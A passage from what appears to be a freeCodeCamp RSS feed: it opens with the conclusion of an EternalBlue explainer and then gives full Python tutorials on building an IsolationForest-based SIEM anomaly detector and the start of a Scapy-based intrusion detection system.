<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>EternalBlue remains one of the most notable Windows vulnerabilities, illustrating the importance of patching and cybersecurity hygiene. From scanning with Nmap to exploiting with Metasploit, the process follows a typical penetration testing workflow: <strong>scan for holes</strong>, <strong>identify vulnerabilities</strong>, <strong>exploit</strong>, and <strong>escalate</strong>.</p>
<p>Hackers use EternalBlue to spread malware, create botnets, and steal data. Cybersecurity experts recommend updating Windows, disabling SMBv1, and using strong firewalls to stay protected.</p>
<p>Microsoft released a patch (a security update) in March 2017 to fix the issue. However, many computers were not updated, making them easy targets for hackers. Even today, some systems remain unpatched and at risk.</p>
<p>For video tutorials on Cybersecurity, check out my <a target="_blank" href="https://www.youtube.com/@stealthsecurity_sh?sub_confirmation=true"><strong>YouTube channel</strong></a>. To get some hands on experience with Eternal Blue and similar vulnerabilities, check out this <a target="_blank" href="https://start.stealthsecurity.sh/">Security Starter</a> course.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Create a Python SIEM System Using AI and LLMs for Log Analysis and Anomaly Detection ]]>
                </title>
                <description>
                    <![CDATA[ In this tutorial, we’ll build a simplified, AI-flavored SIEM log analysis system using Python. Our focus will be on log analysis and anomaly detection. We’ll walk through ingesting logs, detecting anomalies with a lightweight machine learning model, ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-create-a-python-siem-system-using-ai-and-llms/</link>
                <guid isPermaLink="false">67cb2cab98825a8b61ca9121</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ AI ]]>
                    </category>
                
                    <category>
                        <![CDATA[ llm ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Chaitanya Rahalkar ]]>
                </dc:creator>
                <pubDate>Fri, 07 Mar 2025 17:28:11 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1741368457380/900d7d5b-cffc-4175-b5a5-4d7361ea383d.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this tutorial, we’ll build a simplified, AI-flavored SIEM log analysis system using Python. Our focus will be on log analysis and anomaly detection.</p>
<p>We’ll walk through ingesting logs, detecting anomalies with a lightweight machine learning model, and even touch on how the system could respond automatically.</p>
<p>This hands-on proof-of-concept will illustrate how AI can enhance security monitoring in a practical, accessible way.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-are-siem-systems">What Are SIEM Systems?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-project">Setting Up the Project</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-implement-log-analysis">How to Implement Log Analysis</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-build-the-anomaly-detection-model">How to Build the Anomaly Detection Model</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-testing-and-visualizing-results">Testing and Visualizing Results</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-automated-response-possibilities">Automated Response Possibilities</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-are-siem-systems">What Are SIEM Systems?</h2>
<p>Security Information and Event Management (SIEM) systems are the central nervous system of modern security operations. A SIEM aggregates and correlates security logs and events from across an IT environment to provide real-time insights into potential incidents. This helps organizations detect threats faster and respond sooner.</p>
<p>These systems pull together huge volumes of log data — from firewall alerts to application logs — and analyze them for signs of trouble. Anomaly detection in this context is crucial, and unusual patterns in logs can reveal incidents that might slip past static rules. For example, a sudden spike in network requests might indicate a DDoS attack, while multiple failed login attempts could point to unauthorized access attempts.</p>
<p>AI takes SIEM capabilities a step further. By leveraging advanced AI models (like large language models), an AI-powered SIEM can intelligently parse and interpret logs, learn what “normal” behavior looks like, and flag the “weird” stuff that warrants attention.</p>
<p>In essence, AI can act as a smart co-pilot for analysts, spotting subtle anomalies and even summarizing findings in plain language. Recent advancements in large language models allow SIEMs to reason over countless data points much like a human analyst would — but with far greater speed and scale. The result is a powerful digital security assistant that helps cut through the noise and focus on real threats.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before we dive in, make sure you have the following:</p>
<ul>
<li><p>Python 3.x installed on your system. The code examples should work in any recent Python version.</p>
</li>
<li><p>Basic familiarity with Python programming (looping, functions, using libraries) and an understanding of logs (for example, what a log entry looks like) will be helpful.</p>
</li>
<li><p>Python libraries: We’ll use a few common libraries that are lightweight and don’t require special hardware:</p>
<ul>
<li><p><a target="_blank" href="https://pandas.pydata.org/">pandas</a> for basic data handling (if your logs are in CSV or similar format).</p>
</li>
<li><p><a target="_blank" href="https://numpy.org/">numpy</a> for numeric operations.</p>
</li>
<li><p><a target="_blank" href="https://scikit-learn.org/">scikit-learn</a> for the anomaly detection model (specifically, we’ll use the IsolationForest algorithm).</p>
</li>
</ul>
</li>
<li><p>A set of log data to analyze. You can use any log file (system logs, application logs, and so on) in plain text or CSV format. For demonstration, we’ll simulate a small log dataset so you can follow along even without a ready-made log file.</p>
</li>
</ul>
<p><strong>Note:</strong> If you don’t have the libraries above, install them via pip:</p>
<pre><code class="lang-bash">pip install pandas numpy scikit-learn
</code></pre>
<h2 id="heading-setting-up-the-project">Setting Up the Project</h2>
<p>Let’s set up a simple project structure. Create a new directory for this SIEM anomaly detection project and navigate into it. Inside, you can have a Python script (for example, <code>siem_anomaly_demo.py</code>) or a Jupyter Notebook to run the code step by step.</p>
<p>Make sure your working directory contains or can access your log data. If you’re using a log file, it might be a good idea to place a copy in this project folder. For our proof-of-concept, since we will generate synthetic log data, we won’t need an external file — but in a real scenario you would.</p>
<p><strong>Project setup steps:</strong></p>
<ol>
<li><p><strong>Initialize the environment</strong> – If you prefer, create a virtual environment for this project (optional but good practice):</p>
<pre><code class="lang-bash"> python -m venv venv
 <span class="hljs-built_in">source</span> venv/bin/activate  <span class="hljs-comment"># On Windows use "venv\Scripts\activate"</span>
</code></pre>
<p> Then install the required packages in this virtual environment.</p>
</li>
<li><p><strong>Prepare a data source</strong> – Identify the log source you want to analyze. This could be a path to a log file or database. Ensure you know the format of the logs (for example, are they comma-separated, JSON lines, or plain text?). For illustration, we will fabricate some log entries.</p>
</li>
<li><p><strong>Set up your script or notebook</strong> – Open your Python file or notebook. We’ll start by importing the necessary libraries and setting up any configurations (like random seeds for reproducibility).</p>
</li>
</ol>
<p>By the end of this setup, you should have a Python environment ready to run our SIEM log analysis code, and either a real log dataset or the intention to simulate data along with me.</p>
<h2 id="heading-implementing-log-analysis">Implementing Log Analysis</h2>
<p>In a full SIEM system, log analysis involves collecting logs from various sources and parsing them into a uniform format for further processing. Logs often contain fields like timestamp, severity level, source, event message, user ID, IP address, and so on. The first task is to ingest and preprocess these logs.</p>
<h3 id="heading-1-log-ingestion"><strong>1. Log Ingestion</strong></h3>
<p>If your logs are in a text file, you can read them in Python. For example, if each log entry is a line in the file, you could do:</p>
<pre><code class="lang-python"><span class="hljs-keyword">with</span> open(<span class="hljs-string">"my_logs.txt"</span>) <span class="hljs-keyword">as</span> f:
    raw_logs = f.readlines()
</code></pre>
<p>If the logs are structured (say, CSV format with columns), Pandas can greatly simplify reading:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd
df = pd.read_csv(<span class="hljs-string">"my_logs.csv"</span>)
print(df.head())
</code></pre>
<p>This will give you a DataFrame <code>df</code> with your log entries organized in columns. But many logs are semi-structured (for example, components separated by spaces or special characters). In such cases, you might need to split each line by a delimiter or use regex to extract fields. For instance, imagine a log line:</p>
<pre><code class="lang-python"><span class="hljs-number">2025</span><span class="hljs-number">-03</span><span class="hljs-number">-06</span> <span class="hljs-number">08</span>:<span class="hljs-number">00</span>:<span class="hljs-number">00</span>, INFO, User login success, user: admin
</code></pre>
<p>This has a timestamp, a log level, a message, and a user. We can parse such lines with Python’s string methods:</p>
<pre><code class="lang-python">logs = [
    <span class="hljs-string">"2025-03-06 08:00:00, INFO, User login success, user: admin"</span>,
    <span class="hljs-string">"2025-03-06 08:01:23, INFO, User login success, user: alice"</span>,
    <span class="hljs-string">"2025-03-06 08:02:45, ERROR, Failed login attempt, user: alice"</span>,
    <span class="hljs-comment"># ... (more log lines)</span>
]
parsed_logs = []
<span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> logs:
    parts = [p.strip() <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> line.split(<span class="hljs-string">","</span>)]
    timestamp = parts[<span class="hljs-number">0</span>]
    level = parts[<span class="hljs-number">1</span>]
    message = parts[<span class="hljs-number">2</span>]
    user = parts[<span class="hljs-number">3</span>].split(<span class="hljs-string">":"</span>)[<span class="hljs-number">1</span>].strip() <span class="hljs-keyword">if</span> <span class="hljs-string">"user:"</span> <span class="hljs-keyword">in</span> parts[<span class="hljs-number">3</span>] <span class="hljs-keyword">else</span> <span class="hljs-literal">None</span>
    parsed_logs.append({<span class="hljs-string">"timestamp"</span>: timestamp, <span class="hljs-string">"level"</span>: level, <span class="hljs-string">"message"</span>: message, <span class="hljs-string">"user"</span>: user})

<span class="hljs-comment"># Convert to DataFrame for easier analysis</span>
df_logs = pd.DataFrame(parsed_logs)
print(df_logs.head())
</code></pre>
<p>Running the above on our sample list would output something like:</p>
<pre><code class="lang-python">            timestamp  level                 message   user
<span class="hljs-number">0</span>  <span class="hljs-number">2025</span><span class="hljs-number">-03</span><span class="hljs-number">-06</span> <span class="hljs-number">08</span>:<span class="hljs-number">00</span>:<span class="hljs-number">00</span>   INFO    User login success   admin
<span class="hljs-number">1</span>  <span class="hljs-number">2025</span><span class="hljs-number">-03</span><span class="hljs-number">-06</span> <span class="hljs-number">08</span>:<span class="hljs-number">01</span>:<span class="hljs-number">23</span>   INFO    User login success   alice
<span class="hljs-number">2</span>  <span class="hljs-number">2025</span><span class="hljs-number">-03</span><span class="hljs-number">-06</span> <span class="hljs-number">08</span>:<span class="hljs-number">02</span>:<span class="hljs-number">45</span>  ERROR  Failed login attempt   alice
...
</code></pre>
<p>Now we have structured the logs into a table. In a real scenario, you would continue parsing all relevant fields from your logs (for example, IP addresses, error codes, and so on) depending on what you want to analyze.</p>
<h3 id="heading-2-preprocessing-and-feature-extraction"><strong>2. Preprocessing and Feature Extraction</strong></h3>
<p>With the logs in a structured format, the next step is to derive features for anomaly detection. Raw log messages (strings) by themselves are hard for an algorithm to learn from directly. We often extract numeric features or categories that can be quantified. Some examples of features could be:</p>
<ul>
<li><p><strong>Event counts:</strong> number of events per minute/hour, number of login failures for each user, and so on.</p>
</li>
<li><p><strong>Duration or size:</strong> if logs include durations or data sizes (for example, file transfer size, query execution time), those numeric values can be directly used.</p>
</li>
<li><p><strong>Categorical encoding:</strong> log levels (INFO, ERROR, DEBUG) could be mapped to numbers, or specific event types could be one-hot encoded.</p>
</li>
</ul>
<p>For this proof-of-concept, let’s focus on a simple numeric feature: the count of login attempts per minute for a given user. We’ll simulate this as our feature data.</p>
<p>In a real system, you would compute this by grouping the parsed log entries by time window and user. The goal is to get an array of numbers where each number represents "how many login attempts occurred in a given minute." Most of the time this number will be low (normal behavior), but if a particular minute saw an unusually high number of attempts, that’s an anomaly (possibly a brute-force attack).</p>
<p>To simulate, we’ll generate a list of 50 values representing normal behavior, and then append a few values that are abnormally high:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np

<span class="hljs-comment"># Simulate 50 minutes of normal login attempt counts (around 5 per minute on average)</span>
np.random.seed(<span class="hljs-number">42</span>)  <span class="hljs-comment"># for reproducible example</span>
normal_counts = np.random.poisson(lam=<span class="hljs-number">5</span>, size=<span class="hljs-number">50</span>)

<span class="hljs-comment"># Simulate anomaly: a spike in login attempts (e.g., an attacker tries 30+ times in a minute)</span>
anomalous_counts = np.array([<span class="hljs-number">30</span>, <span class="hljs-number">40</span>, <span class="hljs-number">50</span>])

<span class="hljs-comment"># Combine the data</span>
login_attempts = np.concatenate([normal_counts, anomalous_counts])
print(<span class="hljs-string">"Login attempts per minute:"</span>, login_attempts)
</code></pre>
<p>When you run the above, <code>login_attempts</code> might look like:</p>
<pre><code class="lang-python">Login attempts per minute: [ <span class="hljs-number">5</span>  <span class="hljs-number">4</span>  <span class="hljs-number">4</span>  <span class="hljs-number">5</span>  <span class="hljs-number">5</span>  <span class="hljs-number">3</span>  <span class="hljs-number">5</span>  ...  <span class="hljs-number">4</span> <span class="hljs-number">30</span> <span class="hljs-number">40</span> <span class="hljs-number">50</span>]
</code></pre>
<p>Most values are in the single digits, but at the end we have three minutes with 30, 40, and 50 attempts – clear outliers. This is our prepared data for anomaly detection. In a real log analysis, this kind of data might come from counting events in your logs over time or extracting some metric from the log content.</p>
<p>Now that our data is ready, we can move on to building the anomaly detection model.</p>
<h2 id="heading-how-to-build-the-anomaly-detection-model">How to Build the Anomaly Detection Model</h2>
<p>To detect anomalies in our log-derived data, we’ll use a machine learning approach. Specifically, we’ll use an Isolation Forest – a popular algorithm for unsupervised anomaly detection.</p>
<p>The Isolation Forest works by randomly partitioning the data and isolating points. Anomalies are those points that get isolated (separated from others) quickly, that is, in fewer random splits. This makes it great for identifying outliers in a dataset without needing any labels (we don’t have to know in advance which log entries are “bad”).</p>
<p>Why Isolation Forest?</p>
<ul>
<li><p>It’s efficient and works well even if we have a lot of data.</p>
</li>
<li><p>It doesn’t assume any specific data distribution (unlike some statistical methods).</p>
</li>
<li><p>It gives us a straightforward way to score anomalies.</p>
</li>
</ul>
<p>Let’s train an Isolation Forest on our <code>login_attempts</code> data:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> sklearn.ensemble <span class="hljs-keyword">import</span> IsolationForest

<span class="hljs-comment"># Prepare the data in the shape the model expects (samples, features)</span>
X = login_attempts.reshape(<span class="hljs-number">-1</span>, <span class="hljs-number">1</span>)  <span class="hljs-comment"># each sample is a 1-dimensional [count]</span>

<span class="hljs-comment"># Initialize the Isolation Forest model</span>
model = IsolationForest(contamination=<span class="hljs-number">0.05</span>, random_state=<span class="hljs-number">42</span>)
<span class="hljs-comment"># contamination=0.05 means we expect about 5% of the data to be anomalies</span>

<span class="hljs-comment"># Train the model on the data</span>
model.fit(X)
</code></pre>
<p>A couple of notes on the code:</p>
<ul>
<li><p>We reshaped <code>login_attempts</code> to a 2D array <code>X</code> with one feature column because scikit-learn requires a 2D array for training (<code>fit</code>).</p>
</li>
<li><p>We set <code>contamination=0.05</code> to give the model a hint that roughly 5% of the data might be anomalies. In our synthetic data we added 3 anomalies out of 53 points, which is ~5.7%, so 5% is a reasonable guess. (If you don’t specify contamination, the algorithm will choose a default based on assumption or use a default 0.1 in some versions.)</p>
</li>
<li><p><code>random_state=42</code> just ensures reproducibility.</p>
</li>
</ul>
<p>At this point, the Isolation Forest model has been trained on our data. Internally, it has built an ensemble of random trees that partition the data. Points that are hard to isolate (that is, in the dense cluster of normal points) end up deep in these trees, while points that are easy to isolate (the outliers) end up with shorter paths.</p>
<p>Next, we’ll use this model to identify which data points are considered anomalous.</p>
<h2 id="heading-testing-and-visualizing-results">Testing and Visualizing Results</h2>
<p>Now comes the exciting part: using our trained model to detect anomalies in the log data. We’ll have the model predict labels for each data point and then filter out the ones flagged as outliers.</p>
<pre><code class="lang-python"><span class="hljs-comment"># Use the model to predict anomalies</span>
labels = model.predict(X)
<span class="hljs-comment"># The model outputs +1 for normal points and -1 for anomalies</span>

<span class="hljs-comment"># Extract the anomaly indices and values</span>
anomaly_indices = np.where(labels == <span class="hljs-number">-1</span>)[<span class="hljs-number">0</span>]
anomaly_values = login_attempts[anomaly_indices]

print(<span class="hljs-string">"Anomaly indices:"</span>, anomaly_indices)
print(<span class="hljs-string">"Anomaly values (login attempts):"</span>, anomaly_values)
</code></pre>
<p>In our case, we expect the anomalies to be the large numbers we inserted (30, 40, 50). The output might look like:</p>
<pre><code class="lang-python">Anomaly indices: [<span class="hljs-number">50</span> <span class="hljs-number">51</span> <span class="hljs-number">52</span>]
Anomaly values (login attempts): [<span class="hljs-number">30</span> <span class="hljs-number">40</span> <span class="hljs-number">50</span>]
</code></pre>
<p>Even without knowing anything about “login attempts” specifically, the Isolation Forest recognized those values as out-of-line with the rest of the data.</p>
<p>This is the power of anomaly detection in a security context: we don’t always know what a new attack will look like, but if it causes something to drift far from normal patterns (like a user suddenly making 10 times more login attempts than usual), the anomaly detector shines a spotlight on it.</p>
<h3 id="heading-visualizing-the-results"><strong>Visualizing the results</strong></h3>
<p>In a real analysis, it’s often useful to visualize the data and the anomalies. For instance, we could plot the <code>login_attempts</code> values over time (minute by minute) and highlight the anomalies in a different color.</p>
<p>In this simple case, a line chart would show a mostly flat line around 3-8 logins/min with three huge spikes at the end. Those spikes are our anomalies. You could achieve this with Matplotlib if you’re running this in a notebook:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt

plt.plot(login_attempts, label=<span class="hljs-string">"Login attempts per minute"</span>)
plt.scatter(anomaly_indices, anomaly_values, color=<span class="hljs-string">'red'</span>, label=<span class="hljs-string">"Anomalies"</span>)
plt.xlabel(<span class="hljs-string">"Time (minute index)"</span>)
plt.ylabel(<span class="hljs-string">"Login attempts"</span>)
plt.legend()
plt.show()
</code></pre>
<p>For text-based output as we have here, the printed results already confirm that the high values were caught. In more complex cases, anomaly detection models also provide an anomaly score for each point (for example, how far it is from the normal range). Scikit-learn’s IsolationForest, for example, has a <code>decision_function</code> method that yields a score (where lower scores mean more abnormal).</p>
<p>For simplicity, we won’t delve into the scores here, but it’s good to know you can retrieve them to rank anomalies by severity.</p>
<p>With the anomaly detection working, what can we do when we find an anomaly? That leads us to thinking about automated responses.</p>
<h2 id="heading-automated-response-possibilities">Automated Response Possibilities</h2>
<p>Detecting an anomaly is only half the battle — the next step is responding to it. In enterprise SIEM systems, automated response (often associated with SOAR – Security Orchestration, Automation, and Response) can dramatically reduce reaction time to incidents.</p>
<p>What could an AI-powered SIEM do when it flags something unusual? Here are some possibilities:</p>
<ul>
<li><p><strong>Alerting:</strong> The simplest action is to send an alert to security personnel. This could be an email, a Slack message, or creating a ticket in an incident management system. The alert would contain details of the anomaly (for example, “User <em>alice</em> had 50 failed login attempts in 1 minute, which is abnormal”). GenAI can help here by generating a clear natural-language summary of the incident for the analyst.</p>
</li>
<li><p><strong>Automated mitigation:</strong> More advanced systems might take direct action. For instance, if an IP address is showing malicious behavior in logs, the system could automatically block that IP on the firewall. In our login spike example, the system might temporarily lock the user account or prompt for additional authentication, under the assumption that it might be a bot attack. AI-based SIEMs today can indeed trigger predefined response actions or even orchestrate complex workflows when certain threats are detected (refer to <a target="_blank" href="https://www.exabeam.com/explainers/siem/ai-siem-how-siem-with-ai-ml-is-revolutionizing-the-soc/#:~:text=automatically%20trigger%20alerts%2C%20implement%20predefined,even%20orchestrate%20complex%20response%20workflows">AI SIEM: How SIEM with AI/ML is Revolutionizing the SOC | Exabeam</a> for more information).</p>
</li>
<li><p><strong>Investigation support:</strong> Generative AI could also be used to automatically gather context. For example, upon detecting the anomaly, the system could pull related logs (surrounding events, other actions by the same user or from the same IP) and provide an aggregated report. This saves the analyst from manually querying multiple data sources.</p>
</li>
</ul>
<p>It’s important to implement automated responses carefully — you don’t want the system to overreact to false positives. A common strategy is a tiered response: low-confidence anomalies might just log a warning or send a low-priority alert, whereas high-confidence anomalies (or combinations of anomalies) trigger active defense measures.</p>
<p>In practice, a AI-powered SIEM would integrate with your infrastructure (via APIs, scripts, and so on) to execute these actions. For our Python PoC, you could simulate an automated response by, say, printing a message or calling a dummy function when an anomaly is detected. For example:</p>
<pre><code class="lang-python"><span class="hljs-keyword">if</span> len(anomaly_indices) &gt; <span class="hljs-number">0</span>:
    print(<span class="hljs-string">f"Alert! Detected <span class="hljs-subst">{len(anomaly_indices)}</span> anomalous events. Initiating response procedures..."</span>)
    <span class="hljs-comment"># Here, you could add code to disable a user or notify an admin, etc.</span>
</code></pre>
<p>While our demonstration is simple, it’s easy to imagine scaling this up. The SIEM could, for instance, feed anomalies into a larger generative model that assesses the situation and decides on the best course of action (like a chatbot Ops assistant that knows your runbooks). The possibilities for automation are expanding as AI becomes more sophisticated.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this tutorial, we built a basic AI-powered SIEM component that ingests log data, analyzes it for anomalies using a machine learning model, and identifies unusual events that could represent security threats.</p>
<p>We started by parsing and preparing log data, then used an Isolation Forest model to detect outliers in a stream of login attempt counts. The model successfully flagged out-of-norm behavior without any prior knowledge of what an “attack” looks like – it purely relied on deviations from learned normal patterns.</p>
<p>We also discussed how such a system could respond to detected anomalies, from alerting humans to automatically taking action.</p>
<p>Modern SIEM systems augmented with AI/ML are moving in this direction: not only do they detect issues, but they also help triage and respond to them. Generative AI further enhances this by learning from analysts and providing intelligent summaries and decisions, effectively becoming a tireless assistant in the Security Operations Center.</p>
<p>For next steps and improvements:</p>
<ul>
<li><p>You can try this approach on real log data. For example, take a system log file and extract a feature like “number of error logs per hour” or “bytes transferred per session” and run anomaly detection on that.</p>
</li>
<li><p>Experiment with other algorithms like One-Class SVM or Local Outlier Factor for anomaly detection to see how they compare.</p>
</li>
<li><p>Incorporate a simple language model to parse log lines or to explain anomalies. For instance, an LLM could read an anomalous log entry and suggest what might be wrong (“This error usually means the database is unreachable”).</p>
</li>
<li><p>Extend the features: in a real SIEM, you’d use many signals at once (failed login counts, unusual IP geolocation, rare process names in logs, and so on). More features and data can improve the context for detection.</p>
</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build a Real-Time Intrusion Detection System with Python and Open-Source Libraries ]]>
                </title>
                <description>
                    <![CDATA[ An Intrusion Detection System (IDS) is like a security camera for your network. Just as security cameras help identify suspicious activities in the physical world, an IDS will monitor your network to help detect any potential cyber attacks and securi... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/build-a-real-time-intrusion-detection-system-with-python/</link>
                <guid isPermaLink="false">678faf10f366e60cf6e7b6d0</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Open Source ]]>
                    </category>
                
                    <category>
                        <![CDATA[ learning ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Chaitanya Rahalkar ]]>
                </dc:creator>
                <pubDate>Tue, 21 Jan 2025 14:28:32 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1737469496956/6cb12a90-de25-46da-aafc-bbd5048d0411.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>An Intrusion Detection System (IDS) is like a security camera for your network. Just as security cameras help identify suspicious activities in the physical world, an IDS will monitor your network to help detect any potential cyber attacks and security breaches.</p>
<p>By the end of this tutorial, you will know how an IDS works and be able to build your own real-time network monitoring system using Python.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-understanding-the-types-of-ids">Understanding the Types of IDS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-setup-your-development-environment">How to Setup Your Development Environment</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-building-the-core-ids-components">Building the Core IDS Components</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-building-the-packet-capture-engine">Building the Packet Capture Engine</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-building-the-traffic-analysis-module">Building the Traffic Analysis Module</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-building-the-detection-engine">Building the Detection Engine</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-building-the-alert-system">Building the Alert System</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-putting-it-all-together">Putting It All Together</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-ideas-to-extend-the-ids">Ideas to Extend the IDS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-security-considerations">Security Considerations</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-testing-the-ids-on-mock-data">Testing the IDS on Mock Data</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-wrapping-up">Wrapping Up</a></p>
</li>
</ul>
<h2 id="heading-understanding-the-types-of-ids">Understanding the Types of IDS</h2>
<p>Before we jump into the coding part, let’s understand the types of IDS:</p>
<ol>
<li><p><strong>Network-based IDS (NIDS)</strong>: This system monitors network traffic for suspicious activity.</p>
</li>
<li><p><strong>Host-based IDS (HIDS)</strong>: This system monitors system logs and file changes on individual hosts and is not directly deployed in the network.</p>
</li>
<li><p><strong>Signature-based IDS</strong>: This system is either in the network or on the host and identifies attack patterns based on known patterns.</p>
</li>
<li><p><strong>Anomaly-based IDS</strong>: This system identifies unusual behavior using heuristics and prediction algorithms that are trained on previously seen attack patterns.</p>
</li>
</ol>
<p>For this tutorial, you will be building a hybrid system that combines signature-based and anomaly-based detection systems to monitor network traffic.</p>
<h2 id="heading-how-to-setup-your-development-environment">How to Setup Your Development Environment</h2>
<p>Let’s start by setting up our Python environment (I’m using Python 3) and installing the following prerequisites:</p>
<pre><code class="lang-bash">pip install scapy
pip install python-nmap
pip install numpy
pip install sklearn
</code></pre>
<h2 id="heading-building-the-core-ids-components">Building the Core IDS Components</h2>
<p>Our IDS will comprise of four main components:</p>
<ol>
<li><p>A packet capture system</p>
</li>
<li><p>Traffic analysis module</p>
</li>
<li><p>A detection engine</p>
</li>
<li><p>An alert system</p>
</li>
</ol>
<h3 id="heading-building-the-packet-capture-engine">Building the Packet Capture Engine</h3>
<p>Let’s start with the packet capture engine. We’ll use Scapy for this. Scapy is a networking library that allows us to perform network and network-related operations using Python.</p>
<p>First, we’ll define our <code>PacketCapture</code> class that will serve as the basis of our IDS.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> scapy.all <span class="hljs-keyword">import</span> sniff, IP, TCP
<span class="hljs-keyword">from</span> collections <span class="hljs-keyword">import</span> defaultdict
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">import</span> queue

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PacketCapture</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.packet_queue = queue.Queue()
        self.stop_capture = threading.Event()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">packet_callback</span>(<span class="hljs-params">self, packet</span>):</span>
        <span class="hljs-keyword">if</span> IP <span class="hljs-keyword">in</span> packet <span class="hljs-keyword">and</span> TCP <span class="hljs-keyword">in</span> packet:
            self.packet_queue.put(packet)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">start_capture</span>(<span class="hljs-params">self, interface=<span class="hljs-string">"eth0"</span></span>):</span>
        <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">capture_thread</span>():</span>
            sniff(iface=interface,
                  prn=self.packet_callback,
                  store=<span class="hljs-number">0</span>,
                  stop_filter=<span class="hljs-keyword">lambda</span> _: self.stop_capture.is_set())

        self.capture_thread = threading.Thread(target=capture_thread)
        self.capture_thread.start()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">stop</span>(<span class="hljs-params">self</span>):</span>
        self.stop_capture.set()
        self.capture_thread.join()
</code></pre>
<p>Let’s quickly walk through the code and understand what these functions do. For this, you will be using threading and queues to efficiently process and capture network packets.</p>
<p>The <code>init</code> method initializes the class by creating a <code>queue.Queue</code> to store captured packets and a threading Event to control when the packet capture should stop. The <code>packet_callback</code> method acts as a handler for each captured packet and checks if the packet contains both IP and TCP layers. If so, it adds it to the queue for further processing.</p>
<p>The <code>start_capture</code> method begins capturing packets on a specified interface (defaulting to <code>eth0</code> to capture packets from the Ethernet interface). Run <code>ifconfig</code> to understand the available interfaces and select the appropriate interface from the list.</p>
<p>The function spawns a separate thread to run Scapy’s sniff function, which continuously monitors the interface for packets. The <code>stop_filter</code> parameter ensures the capture stops when the <code>stop_capture</code> event is triggered.</p>
<p>The <code>stop</code> method stops the capture by setting the <code>stop_capture</code> event and waits for the thread to finish execution, ensuring the process terminates cleanly. This design allows for seamless real-time packet capturing without blocking the main thread.</p>
<h3 id="heading-building-the-traffic-analysis-module">Building the Traffic Analysis Module</h3>
<p>Now, let’s write the traffic analysis module. This module will process captured packets and extract relevant features.</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TrafficAnalyzer</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.connections = defaultdict(list)
        self.flow_stats = defaultdict(<span class="hljs-keyword">lambda</span>: {
            <span class="hljs-string">'packet_count'</span>: <span class="hljs-number">0</span>,
            <span class="hljs-string">'byte_count'</span>: <span class="hljs-number">0</span>,
            <span class="hljs-string">'start_time'</span>: <span class="hljs-literal">None</span>,
            <span class="hljs-string">'last_time'</span>: <span class="hljs-literal">None</span>
        })

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">analyze_packet</span>(<span class="hljs-params">self, packet</span>):</span>
        <span class="hljs-keyword">if</span> IP <span class="hljs-keyword">in</span> packet <span class="hljs-keyword">and</span> TCP <span class="hljs-keyword">in</span> packet:
            ip_src = packet[IP].src
            ip_dst = packet[IP].dst
            port_src = packet[TCP].sport
            port_dst = packet[TCP].dport

